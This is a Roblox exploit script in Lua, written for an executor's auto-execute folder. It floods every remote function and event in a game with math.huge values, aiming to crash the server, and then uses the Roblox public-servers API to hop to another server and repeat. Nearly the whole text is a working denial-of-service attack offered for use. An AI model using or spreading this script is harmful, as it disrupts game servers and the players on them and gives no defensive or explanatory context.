-- place script in auto execute folder it server hop for more chance of crashing the server (rebooting it) local httprequest = (syn and syn.request) or (http and http.request) or http_request or (fluxus and fluxus.request) or request local TeleportService = game:GetService("TeleportService") local HttpService = game:GetService("HttpService") local JobId = game.JobId local PlaceId = game.PlaceId local Players = game:GetService("Players") local settings = 4 -- best for i = 1, 5 do -- Start for p, v in pairs(game:GetDescendants()) do coroutine.wrap(function() local success, err = pcall(function() if v:IsA("RemoteFunction") then v:InvokeServer(math.huge) elseif v:IsA("RemoteEvent") then v:FireServer(math.huge) elseif v:IsA("BindableEvent") and v ~= Players.LocalPlayer.PlayerGui.Intro.LocalScript:FindFirstChild("DoTutorial") then v:Fire(game.Players.LocalPlayer, math.huge) end end) if not success then warn(":neutral-face: " .. err) end end)() end wait(settings) -- credit to infinite yield for server hop script if httprequest then local servers = {} local success, req = pcall(function() return httprequest({Url = string.format("https://games.roblox.com/v1/games/%d/servers/Public?sortOrder=Desc&limit=100&excludeFullGames=true", PlaceId)}) end) if success and req then local body = HttpService:JSONDecode(req.Body) if body and body.data then for _, a in pairs(body.data) do if type(a) == "table" and tonumber(a.playing) and tonumber(a.maxPlayers) and a.playing < a.maxPlayers and a.id ~= JobId then table.insert(servers, a.id) end end end else warn("error" .. (req or "No response")) end if #servers > 0 then local success, err = pcall(function() TeleportService:TeleportToPlaceInstance(PlaceId, servers[math.random(1, #servers)], Players.LocalPlayer) end) if not success then warn("failed teleport no httpsync :cold: : " .. err) end else warn("did u crashed all the server? :sweat-smile.") end end -- End end